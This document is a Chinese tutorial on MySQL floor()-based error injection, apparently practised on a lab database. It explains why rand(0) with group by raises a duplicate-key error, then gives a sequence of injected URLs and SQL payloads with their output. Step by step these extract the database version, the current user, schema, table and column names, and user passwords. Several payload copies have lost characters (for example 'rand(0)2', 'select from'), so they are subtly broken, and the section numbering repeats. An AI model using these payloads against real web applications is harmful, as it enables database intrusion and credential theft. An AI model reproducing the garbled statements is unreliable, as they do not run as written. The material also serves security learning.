0x01 Floor 报错语句的原理:

select count(),(concat(floor(rand(0)2),’@’,(select version())))x from users group by x;

我们现在从最里向外分析整条语句.先从floor(rand(0)*2) 开始

  • rand() 函数会随机产生0,1 之间的浮点数
  • rand() 函数可以自己设置随机种子,即rand(n) ,这个时候产生的随机数都是伪随机数,我们多次生成的结果是相同的。

image.png

  • floor(N) 函数会返回一个小于或等于传入参数N的最大整数(相当于截断小数部分)

我们就返回rand函数的伪随机数,再用floor 函数进行取整
image.png

  • concat 函数将字符串拼接起来
  • group by a 会根据 a 的规则对数据进行分组,而分组的手,mysql会建立一个临时表(虚拟表)进行分组

select count(),(concat(floor(rand(0)2),’@’,(select version())))x from users group by x;

mysql执行结果,会产生 011011 这个序列,group by时,会建立空虚拟表如下图,然后从sql语句执行结果序列(011011)读取数据并插入虚表:

key value

(1)虚表写入第一条记录,执行floor(rand(0)*2),发现结果为0(此时为第一次计算)

操作 key floor(rand(0)*2) count(*)
取第一条记录 0

(2)查询虚拟表,发现0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果为1(此时为第二次计算),插入虚表,第一条记录插入完毕,结果为1。如下图:

操作 key floor(rand(0)*2) count(*)
取第一条记录 0
插入记录 1 1 1

(3)虚表写入第二条记录,再次计算floor(rand(0)2),发现结果为1(此时为第三次计算),此时结算结果为1,所以floor(rand(0)2)不会被计算,直接count()加1,第二条记录写入完毕。(5)查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:

操作 key floor(rand(0)*2) count(*)
取第一条记录 0
插入记录 1 1 1
取第二条记录,不用插入 1 1 2

(4)虚表写入第三条记录,再次计算floor(rand(0)2),发现结果为0(此时为第4次计算),计算结果为0,此时虚表中没有0的数据记录,则执行插入该数据,插入时会再次计算floor(rand(0)2)(此时为第5次计算),计算结果为1。然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以就产生了主键冲突的错误,也就是:Duplicate entry 的报错。

操作 key floor(rand(0)*2) count(*)
取第一条记录 0
插入记录 1 1 1
取第二条记录,不用插入 1 1 2
取第三条记录 0
插入记录 1? 1

最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()*2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。如图:
MySQL 报错注入之(floor报错注入) - 图3

0x02 爆数据库版本

web语句: http://www.test.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

数据库语句: select from users where id =1 and(select 1 from(select count(),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

  1. mysql> select * from users where id =1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
  2. ERROR 1062 (23000): Duplicate entry '~5.7.26~1' for key '<group_key>'
  3. # 简单的分析下这段sql语句
  4. select count(*),(concat(floor(rand(0)*2),'@',(select version())))x from users group by x;
  5. 这个是最初的一个报错语句
  6. 这个是floor起那面的语句执行的结果,是不是有点熟悉,
  7. mysql> (select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1);
  8. +--------------------------------------------+
  9. | (select (select concat(0x7e,user(),0x7e))) |
  10. +--------------------------------------------+
  11. | ~root@localhost~ |
  12. +--------------------------------------------+
  13. 1 row in set (0.00 sec)
  14. 把这个作为别名x,再去从information.tables中查询值
  15. select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))
  16. 再把这个值作为order by 的一个排序条件x
  17. 把下面这个语句再起一个别名a ,然后查询 select 1 from a
  18. (select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x);

0x03 爆当前连接用户

web语句: http://www.test.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

数据库语句: select from users where id =1 and(select 1 from(select count(),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

  1. mysql> select * from users where id =1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
  2. ERROR 1062 (23000): Duplicate entry '~root@localhost~1' for key '<group_key>'

0x03 爆当前连接的数据库

web语句: http://www.test.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

数据库语句: select from users where id =1 and(select 1 from(select count(),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

  1. mysql> select * from users where id =1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
  2. ERROR 1062 (23000): Duplicate entry '~saining~1' for key '<group_key>'

0x04 爆库名

注意: LIMIT 0 修改会显示其他库名
例如:
修改为0 就是出1库
修改为1 就是出2库

web语句: http://www.test.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

数据库语句-爆库名1: select from users where id =1 and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

数据库语句-爆库名2: select from users where id =1 and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

  1. mysql> select * from users where id =1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
  2. ERROR 1062 (23000): Duplicate entry '~information_schema~1' for key '<group_key>'

0x05 爆表名

注意: table_schema=xxx 修改为其他库会爆出其他库的数据
例如:
table_schema=database() 会获取当前连接的库数据
table_schema=’test’ 会获取test库数据

注意: LIMIT 0 修改会爆出不同的表名
例如:
修改为0 就是出1表
修改为1 就是出2表

web语句: http://www.test.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

数据库语句-爆当前库的第一张表名: select from users where id =1 and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

数据库语句-爆当前库的第二张表名: select from users where id =1 and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

  1. select * from users where id =1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
  2. ERROR 1062 (23000): Duplicate entry '~users~1' for key '<group_key>'

0x06 暴字段

table_schema = “xx” 要爆的数据库名
table_name = “xx” 要爆的表名

limit 0 表示要爆的位置
例如:
表tdb_admin的字段为 id,usernam,password
limit 0 = id
limit 1 = username
limit 2 = password

web语句: http://www.test.com/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=’test’ and table_name=’tdb_admin’ limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

数据库语句-爆test库 tdb_admin表的字段名:
select from users WHERE id = 1 and(select 1 from(select count(),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

  1. mysql> select * from users WHERE id = 1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
  2. ERROR 1062 (23000): Duplicate entry '~id~1' for key '<group_key>'

0x07 爆内容

注意: limit 0 表示要显示那一条数据
limit 0 表示第一条
limit 1 表示第二条

web语句: http://www.test.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,字段名,0x3a,字段名,0x3a,字段名,0x7e))) from 库名.表名 limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

数据库语句: select from users WHERE id = 1 and(select 1 from(select count(),concat((select (select (select concat(0x7e,字段名,0x3a,字段名,0x3a,字段名,0x7e))) from 库名.表名 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

  1. mysql> select * from users WHERE id = 1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,id,0x3a,username,0x3a,password,0x7e))) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
  2. ERROR 1062 (23000): Duplicate entry '~1:Dumb:Dumb~1' for key '<group_key>'